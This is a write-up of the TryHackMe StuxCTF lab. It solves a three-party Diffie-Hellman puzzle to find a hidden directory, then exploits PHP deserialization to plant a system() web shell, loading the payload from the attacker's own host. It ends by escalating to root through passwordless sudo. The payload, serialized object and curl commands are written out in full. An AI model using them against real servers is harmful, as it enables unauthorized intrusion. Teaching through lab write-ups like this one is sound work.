Post

StuxCTF Write-up

StuxCTF is a medium level boot2root challenge on TryHackme. This room consists of Diffie-Hellman key exchange, PHP deserialization attack and privilege escalation.

Enumeration

As always, we start with a Nmap scan and end up finding 2 open ports: 22 and 80.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e8:da:b7:0d:a7:a1:cc:8e:ac:4b:19:6d:25:2b:3e:77 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHy6u+PbjzbKZyYYJwrdwKQPHa7m8AgiJwNQSx4Tp1IOOf2y8QZTm3/iln/TJsLNdRuOORhMymecTm0H8X+Oqq481qx5hcLb4ax88tzD/yHMYIWpgMVphjZRzvBpuYmL6tS25ltX5C8VUyIfAAp5UfmwTJTpQc6yUsf/SzA1JfHRMKYrKarm+HyiTA7Md5en7DkYf/Cc3D2RTvgmzyUEES1sWXIKlqG+Hw5Q3LBTf+x3Klv4j/nTjRnQ11uGXQUV+bf/hctQ+pd5lcOACdyvW1XDOoKVVFy794JUBZIE8KFJlDF9kDDk+/9KcXPFmwHRc7EhcvoOXI0IgdY9hHbA5v
|   256 c1:0c:5a:db:6c:d6:a3:15:96:85:21:e9:48:65:28:42 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNClIhCJbrZ4E0DajP2/THDkSRCFIIz+E4n0lwO2uwYKXLH+ZkmJfWPIS0G1imPiAl86M4waW46uhq+zd2zf7nY=
|   256 0f:1a:6a:d1:bb:cb:a6:3e:bd:8f:99:8d:da:2f:30:86 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPhnACR59xmsr8aznDId/sXX28PkUm6kKDeoNMHsgY3O
80/tcp open  http    syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS GET HEAD
| http-robots.txt: 1 disallowed entry 
|_/StuxCTF/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Default Page
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Visiting the website doesn’t give us much information. It seems like an empty page.

When we inspect the source code, we find a comment that consists of numbers.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
	<head>
		<title>Default Page</title>
	</head>
	<body>
		<!-- The secret directory is...
		p: 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251;
		g: 7;
		a: 330;
		b: 450;
		g^c: 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617;
		-->
		is blank....
	</body>
</html>

We infer that these numbers are related to Diffie-Hellman key exchange. Though DH known is 2 parties, here we have 3 parties. Like Alice and Bob. We have Charlie as well.

Diffie-Hellman Key Exchange

When we have 3 parties, the key exchange is done as follows (from Wikipedia):

  1. The parties agree on the algorithm parameters p and g.
  2. The parties generate their private keys, named a, b, and c.
  3. Alice computes ga mod p and sends it to Bob.
  4. Bob computes (ga)b mod p = gab mod p and sends it to Carol.
  5. Carol computes (gab)c mod p = gabc mod p and uses it as her secret.
  6. Bob computes gb mod p and sends it to Carol.
  7. Carol computes (gb)c mod p = gbc mod p and sends it to Alice.
  8. Alice computes (gbc)a mod p = gbca mod p = gabc mod p and uses it as her secret.
  9. Carol computes gc mod p and sends it to Alice.
  10. Alice computes (gc)a mod p = gca mod p and sends it to Bob.
  11. Bob computes (gca)b mod p = gcab mod p = gabc mod p and uses it as his secret.

So, we can calculate the shared secret key using the given numbers, since we have the values of p, g, a, b and gc.

1
2
3
4
5
6
7
8
9
10
11
p=9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251
g=7
a=330
b=450
gexpc=6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617

# this is triple DH key exchange

gca = pow(gexpc,a,p) 
gcb = pow(gca,b,p) 
print(str(gcb)[:128]) 

When we run the above code, we get the shared secret key.

1
2
$ python3 DH.py
47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055

We got the shared secret key. Now, we can enter the secret directory.

Secret Directory

When we visit the secret directory, we find such a page hinting at ?file= parameter.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
    <head>
        <title>StuxCTF</title>
        
    </head>
        <body>

        <!-- hint: /?file= -->
        <div class="container">
            <div class="jumbotron">
				<center>
					<h1>Follow the white rabbit..</h1>
				</center>
            </div>
        </div>
    </body>
</html>

I tested for several LFI payloads but none of them worked. Then I tried to read the source code of the page.

1
2
3
$ curl http://10.10.186.176/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/?file=index.php

3d3d67432b384349794a47502b7757623068324c386f67507641696369786a50355232626939435067414349676f67507641696369786a5030425861794e326376776a50694d6e617534576174354363684a48647a523362764a324c7a70324c7a52585a7a4e585969307a59794e484930425861794e32633841434967414349674143494b347a4c67496e5938344464776c6d636a4e334c38346a497a706d4c756c5762754d6a4c78456a4c78305365795657647870324c7a70324c7a52585a7...

PHP Deserialization Attack

We got a pretty long hex encoded string. After I decoded it, I got a reverse base64 encoded string. So, I decoded it again and got the source code of the page.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
class file {
        public $file = "dump.txt";
        public $data = "dump test";
        function __destruct(){
                file_put_contents($this->file, $this->data);
        }
}


$file_name = $_GET['file'];
if(isset($file_name) && !file_exists($file_name)){
        echo "File no Exist!";
}

if($file_name=="index.php"){
        $content = file_get_contents($file_name);
        $tags = array("", "");
        echo bin2hex(strrev(base64_encode(nl2br(str_replace($tags, "", $content)))));
}

unserialize(file_get_contents($file_name));
?>

I can use the file class to write a file. So let’s perform a PHP deserialization attack.

PHP deserialization attack is a type of attack where an attacker could create a malicious object and serialize it. When the server unserializes the object, the malicious code gets executed.

The unserialize function gets a string and converts it back to an object.

To create a malicious object, I used the following code.

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class file 
{

	public $file = 'cmd.php';
	public $data = '<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>';
}

$serial = serialize(new file);
print $serial;
print("\n");
?>

I saved that code and executed on my local machine to get the serialized object.

1
2
$ php serialize.php
O:4:"file":2:{s:4:"file";s:7:"cmd.php";s:4:"data";s:113:"<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>";}

I got the string. Now I can use this string for the PHP deserialization attack. Also, keep in mind that the file_get_contents function can read remote files. So I can host that string on my server and read it from there.

1
curl http://10.10.186.176/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/?file=http://10.9.3.149/a.txt

I successfully wrote the file. Now I can execute commands on the server.

1
2
3
4
curl http://10.10.186.176/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/cmd.php?cmd=whoami

<pre>www-data
</pre>

Works! After I quickly got a reverse shell and read the user flag in the home directory.

1
2
3
4
www-data@ubuntu:/home/grecia$ ls
user.txt
www-data@ubuntu:/home/grecia$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXX

Privilege Escalation

I downloaded the linpeas.sh script and ran it on the server. Found that the www-data user can run sudo without a password.

1
2
3
4
5
6
7
╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                                                                         
Matching Defaults entries for www-data on ubuntu:                                                                                                                        
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (ALL) NOPASSWD: ALL

So becoming root was pretty easy.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
www-data@ubuntu:/tmp$ sudo -l
sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (ALL) NOPASSWD: ALL
www-data@ubuntu:/tmp$ sudo su
sudo su
root@ubuntu:/tmp# cd /root
cd /root
root@ubuntu:~# ls
ls
root.txt
root@ubuntu:~# cat root.txt
cat root.txt
XXXXXXXXXXXXXXXXXXXX

And that’s it. We got the root flag as well.

Conclusion

That was a fun and interesting room. I brushed up my knowledge on DH Key Exchange and PHP Deserialization attack.

This post is licensed under CC BY 4.0 by the author.